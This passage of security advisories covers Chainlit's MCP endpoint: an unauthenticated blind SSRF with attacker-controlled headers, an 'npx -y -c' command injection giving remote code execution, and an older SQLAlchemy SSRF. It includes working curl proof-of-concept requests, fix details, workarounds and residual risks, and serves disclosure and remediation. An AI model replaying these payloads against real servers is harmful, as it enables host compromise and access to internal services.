  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "ssrf",
    "clientType": "streamable-http",
    "name": "probe",
    "url": "http://127.0.0.1:4445/internal-admin",
    "headers": {
      "Authorization": "Bearer attacker-controlled-token",
      "X-Internal-Secret": "exfiltrated",
      "Cookie": "session=hijacked"
    }
  }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1
Host: 127.0.0.1:4445
Authorization: Bearer attacker-controlled-token
X-Internal-Secret: exfiltrated
Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

• User-provided MCP connections now require explicit opt-in via features.mcp.user_servers.enabled = true, plus a non-empty allowed_urls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed.
• URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected.
• Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-*, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowed_urls.
• Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowed_urls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

• HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded follow_redirects=True, so only the first hop of a request would ever have been checked against an allowlist.
• Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018).
• Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint).
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowed_urls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. Where features.mcp.user_servers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowed_urls allowlist, with an Authorization header of its own choosing.
• There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation.
• Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin vipin@spl.team SPL security@spl.team

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validate_mcp_command() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45018 | | Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

validate_mcp_command() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validate_mcp_command() Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

2. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because get_current_user returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team SPL security@spl.team

Chainlit versions prior to 2.9.4 contain a server-side request forgery (SSRF) vulnerability in the /project/element update flow when configured with the SQLAlchemy data layer backend. An authenticated client can provide a user-controlled url value in an Element, which is fetched by the SQLAlchemy element creation logic using an outbound HTTP GET request. This allows an attacker to make arbitrary HTTP requests from the Chainlit server to internal network services or cloud metadata endpoints and store the retrieved responses via the configured storage provider.